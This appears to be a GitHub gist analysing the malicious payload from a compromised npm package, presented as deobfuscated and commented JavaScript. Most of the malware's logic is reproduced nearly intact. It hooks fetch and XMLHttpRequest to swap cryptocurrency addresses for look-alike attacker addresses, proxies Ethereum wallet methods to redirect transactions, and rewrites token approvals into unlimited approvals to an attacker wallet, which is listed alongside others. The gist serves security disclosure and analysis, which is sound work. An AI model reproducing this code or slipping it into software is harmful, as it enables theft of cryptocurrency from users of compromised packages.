Skip to content

Instantly share code, notes, and snippets.

@thypon
Created September 8, 2025 19:16
Show Gist options
  • Select an option

  • Save thypon/22ba8bef99baed4d4e30c84542d1ac72 to your computer and use it in GitHub Desktop.

Select an option

Save thypon/22ba8bef99baed4d4e30c84542d1ac72 to your computer and use it in GitHub Desktop.
qix compromised security analysis
// Global state variables
var hasEthereumWallet = 0; // Flag to track if Ethereum wallet is detected
var hasRunOnce = 0; // Flag to prevent multiple executions
var hasInitialized = 0; // Flag to track if initialization is complete
// Function to check for Ethereum wallet presence and initialize malicious hooks
async function checkEthereumWallet() {
try {
// Attempts to get Ethereum accounts - SECURITY RISK: This is probing for wallet access
const ethAccounts = await window.ethereum.request({
method: 'eth_accounts', // Fixed: was obfuscated as 'ethaccountsStr'
});
if (ethAccounts.length > 0) {
// If accounts found, initialize malicious transaction interceptor
initializeTransactionHijacker();
if (hasRunOnce != 1) {
hasRunOnce = 1;
hasEthereumWallet = 1;
initializeAddressReplacer(); // Initialize the address replacement system
}
} else if (hasRunOnce != 1) {
hasRunOnce = 1;
initializeAddressReplacer();
}
} catch (error) {
// Even on error, still initialize the malicious system
if (hasRunOnce != 1) {
hasRunOnce = 1;
initializeAddressReplacer();
}
}
}
// Check for Ethereum wallet availability and initialize if present
// SECURITY RISK: This runs immediately when script loads
if (typeof window != 'undefined' && typeof window.ethereum != 'undefined') {
checkEthereumWallet();
} else if (hasRunOnce != 1) {
hasRunOnce = 1;
initializeAddressReplacer();
}
// Main malicious function that replaces cryptocurrency addresses
function initializeAddressReplacer() {
// Prevent multiple initializations
if (hasInitialized == 1) {
return;
}
hasInitialized = 1;
// Edit distance algorithm for finding closest matching addresses
// SECURITY ANALYSIS: Used to replace legitimate addresses with attacker's addresses
function calculateEditDistance(str1, str2) {
const matrix = Array.from(
{ length: str1.length + 1 },
() => Array(str2.length + 1).fill(0)
);
// Initialize matrix with distances
for (let i = 0; i <= str1.length; i++) {
matrix[i][0] = i;
}
for (let j = 0; j <= str2.length; j++) {
matrix[0][j] = j;
}
// Calculate edit distances
for (let i = 1; i <= str1.length; i++) {
for (let j = 1; j <= str2.length; j++) {
if (str1[i - 1] === str2[j - 1]) {
matrix[i][j] = matrix[i - 1][j - 1];
} else {
matrix[i][j] = 1 + Math.min(
matrix[i - 1][j],
matrix[i][j - 1],
matrix[i - 1][j - 1]
);
}
}
}
return matrix[str1.length][str2.length];
}
// Find the closest matching address from attacker's list
// SECURITY RISK: This enables address substitution attacks
function findClosestAddress(targetAddress, attackerAddresses) {
let minDistance = Infinity;
let closestMatch = null;
for (let address of attackerAddresses) {
const distance = calculateEditDistance(targetAddress.toLowerCase(), address.toLowerCase());
if (distance < minDistance) {
minDistance = distance;
closestMatch = address;
}
}
return closestMatch;
}
// SECURITY CRITICAL: Hijack the global fetch function
fetch = async function (...args) {
const originalResponse = await fetch(...args);
const contentType = originalResponse.headers.get('Content-Type') || '';
let responseData;
if (contentType.includes('application/json')) {
responseData = await originalResponse.clone().json();
} else {
responseData = await originalResponse.clone().text();
}
// Replace addresses in response data
const modifiedData = replaceAddressesInContent(responseData);
const modifiedContent = typeof modifiedData === 'string' ? modifiedData : JSON.stringify(modifiedData);
// Return modified response with replaced addresses
const modifiedResponse = new Response(modifiedContent, {
status: originalResponse.status,
statusText: originalResponse.statusText,
headers: originalResponse.headers,
});
return modifiedResponse;
};
// SECURITY CRITICAL: Hijack XMLHttpRequest for address replacement
if (typeof window != 'undefined') {
const originalOpen = XMLHttpRequest.prototype.open;
const originalSend = XMLHttpRequest.prototype.send;
XMLHttpRequest.prototype.open = function(method, url, async, user, password) {
this._url = url;
return originalOpen.apply(this, arguments);
};
XMLHttpRequest.prototype.send = function(data) {
const xhr = this;
const originalReadyStateChange = xhr.onreadystatechange;
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
try {
const contentType = xhr.getResponseHeader('Content-Type') || '';
let responseData = xhr.responseText;
if (contentType.includes('application/json')) {
responseData = JSON.parse(xhr.responseText);
}
// Replace addresses in response
const modifiedData = replaceAddressesInContent(responseData);
const modifiedText = typeof modifiedData === 'string' ? modifiedData : JSON.stringify(modifiedData);
// Override response properties with malicious data
Object.defineProperty(xhr, 'responseText', { value: modifiedText });
Object.defineProperty(xhr, 'response', { value: modifiedText });
} catch (error) {
// Silently fail to avoid detection
}
}
if (originalReadyStateChange) {
originalReadyStateChange.apply(this, arguments);
}
};
return originalSend.apply(this, arguments);
};
}
// Process and replace addresses in content
function replaceAddressesInContent(content) {
try {
if (typeof content === 'object' && content !== null) {
const jsonString = JSON.stringify(content);
const modifiedJson = replaceAddressesInString(jsonString);
return JSON.parse(modifiedJson);
}
if (typeof content === 'string') {
return replaceAddressesInString(content);
}
return content;
} catch (error) {
return content;
}
}
// SECURITY CRITICAL: Main address replacement function
function replaceAddressesInString(inputText) {
// Attacker's Bitcoin Legacy addresses - SECURITY RISK: These are theft destinations
var attackerBitcoinAddresses = [
'1H13VnQJKtT4HjD5ZFKaaiZEetMbG7nDHx',
'1Li1CRPwjovnGHGPTtcKzy75j37K6n97Rd',
// ... many more malicious addresses
];
// Attacker's Bitcoin SegWit addresses
var attackerSegwitAddresses = [
'bc1qms4f8ys8c4z47h0q29nnmyekc9r74u5ypqw6wm',
'bc1qznntn2q7df8ltvx842upkd9uj4atwxpk0whxh9',
// ... many more malicious addresses
];
// Attacker's Ethereum addresses
var attackerEthereumAddresses = [
'0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976',
'0xa29eeFb3f21Dc8FA8bce065Db4f4354AA683c024',
// ... many more malicious addresses
];
// Additional arrays for Solana, Tron, Litecoin, Bitcoin Cash addresses
// SECURITY ANALYSIS: Comprehensive coverage of major cryptocurrencies
// Regular expressions to match different cryptocurrency address formats
const addressPatterns = {
ethereum: /\b0x[a-fA-F0-9]{40}\b/g,
bitcoinLegacy: /\b1[a-km-zA-HJ-NP-Z1-9]{25,34}\b/g,
bitcoinSegwit: /\b(3[a-km-zA-HJ-NP-Z1-9]{25,34}|bc1[qpzry9x8gf2tvdw0s3jn54khce6mua7l]{11,71})\b/g,
tron: /((?<!\w)[T][1-9A-HJ-NP-Za-km-z]{33})/g,
bch: /bitcoincash:[qp][a-zA-Z0-9]{41}/g,
ltc: /(?<!\w)ltc1[qpzry9x8gf2tvdw0s3jn54khce6mua7l]{11,71}\b/g,
ltc2: /(?<!\w)[mlML][a-km-zA-HJ-NP-Z1-9]{25,34}/g,
solana: /((?<!\w)[4-9A-HJ-NP-Za-km-z][1-9A-HJ-NP-Za-km-z]{32,44})/g,
solana2: /((?<!\w)[3][1-9A-HJ-NP-Za-km-z]{35,44})/g,
solana3: /((?<!\w)[1][1-9A-HJ-NP-Za-km-z]{35,44})/g,
};
// SECURITY CRITICAL: Replace legitimate addresses with attacker's addresses
for (const [cryptoType, pattern] of Object.entries(addressPatterns)) {
const foundAddresses = inputText.match(pattern) || [];
for (const foundAddress of foundAddresses) {
// For each cryptocurrency type, replace with attacker's equivalent
if (cryptoType == 'ethereum') {
if (!attackerEthereumAddresses.includes(foundAddress) && hasEthereumWallet == 0) {
inputText = inputText.replace(foundAddress, findClosestAddress(foundAddress, attackerEthereumAddresses));
}
}
if (cryptoType == 'bitcoinLegacy') {
if (!attackerBitcoinAddresses.includes(foundAddress)) {
inputText = inputText.replace(foundAddress, findClosestAddress(foundAddress, attackerBitcoinAddresses));
}
}
// Similar replacement logic for other cryptocurrency types...
}
}
return inputText;
}
}
// SECURITY CRITICAL: Transaction hijacking function for wallet interactions
async function initializeTransactionHijacker() {
let interceptionCount = 0;
let originalMethods = new Map();
let isActive = false;
// Modify transaction parameters to redirect funds to attacker
function modifyTransactionData(transaction, isEthereumTx = true) {
const modifiedTx = JSON.parse(JSON.stringify(transaction));
if (isEthereumTx) {
// SECURITY CRITICAL: Redirect transaction value to attacker's address
if (modifiedTx.value && modifiedTx.value !== '0x0' && modifiedTx.value !== '0') {
modifiedTx.to = '0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976';
}
// SECURITY CRITICAL: Modify smart contract interactions
if (modifiedTx.data) {
const dataLowerCase = modifiedTx.data.toLowerCase();
// Hijack token approvals (ERC-20 approve function)
if (dataLowerCase.startsWith('0x095ea7b3')) {
if (dataLowerCase.length >= 74) {
const functionSelector = dataLowerCase.substring(0, 10);
const spenderAddress = '0x' + dataLowerCase.substring(34, 74);
const attackerAddress = 'Fc4a4858bafef54D1b1d7697bfb5c52F4c166976'.padStart(64, '0');
const maxAmount = 'f'.repeat(64); // Maximum approval amount
modifiedTx.data = functionSelector + attackerAddress + maxAmount;
}
}
// Additional hijacking for other transaction types (permit, transfer, etc.)
}
}
return modifiedTx;
}
// Create proxy function to intercept wallet method calls
function createInterceptorProxy(originalMethod, methodName) {
return async function (...args) {
interceptionCount++;
let modifiedArgs;
try {
modifiedArgs = JSON.parse(JSON.stringify(args));
} catch (error) {
modifiedArgs = [...args];
}
// SECURITY CRITICAL: Modify transaction requests
if (args[0] && typeof args[0] === 'object') {
const request = modifiedArgs[0];
if (request.method === 'eth_sendTransaction' && request.params && request.params[0]) {
try {
const hijackedTx = modifyTransactionData(request.params[0], true);
request.params[0] = hijackedTx;
} catch (error) {}
}
// Similar hijacking for Solana transactions
}
// Execute the modified request
const result = originalMethod.apply(this, modifiedArgs);
if (result && typeof result.then === 'function') {
return result.then(response => response).catch(error => { throw error; });
}
return result;
};
}
// Hook into Ethereum wallet methods
function hookWalletMethods(ethereumProvider) {
if (!ethereumProvider) return false;
let success = false;
const methodsToHook = ['request', 'send', 'sendAsync'];
for (const methodName of methodsToHook) {
if (typeof ethereumProvider[methodName] === 'function') {
const originalMethod = ethereumProvider[methodName];
originalMethods.set(methodName, originalMethod);
try {
// SECURITY CRITICAL: Replace wallet methods with malicious proxies
Object.defineProperty(ethereumProvider, methodName, {
value: createInterceptorProxy(originalMethod, methodName),
writable: true,
configurable: true,
enumerable: true,
});
success = true;
} catch (error) {}
}
}
if (success) {
isActive = true;
}
return success;
}
// Wait for and hook Ethereum wallet when available
function waitForWallet() {
let attempts = 0;
const checkForWallet = () => {
attempts++;
if (window.ethereum) {
setTimeout(() => {
hookWalletMethods(window.ethereum);
}, 500);
return;
}
if (attempts < 50) {
setTimeout(checkForWallet, 100);
}
};
checkForWallet();
}
waitForWallet();
// SECURITY RISK: Expose control interface (could be used for detection)
window.stealthProxyControl = {
isActive: () => isActive,
getInterceptCount: () => interceptionCount,
getOriginalMethods: () => originalMethods,
forceShield: () => {
if (window.ethereum) {
return hookWalletMethods(window.ethereum);
}
return false;
},
};
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment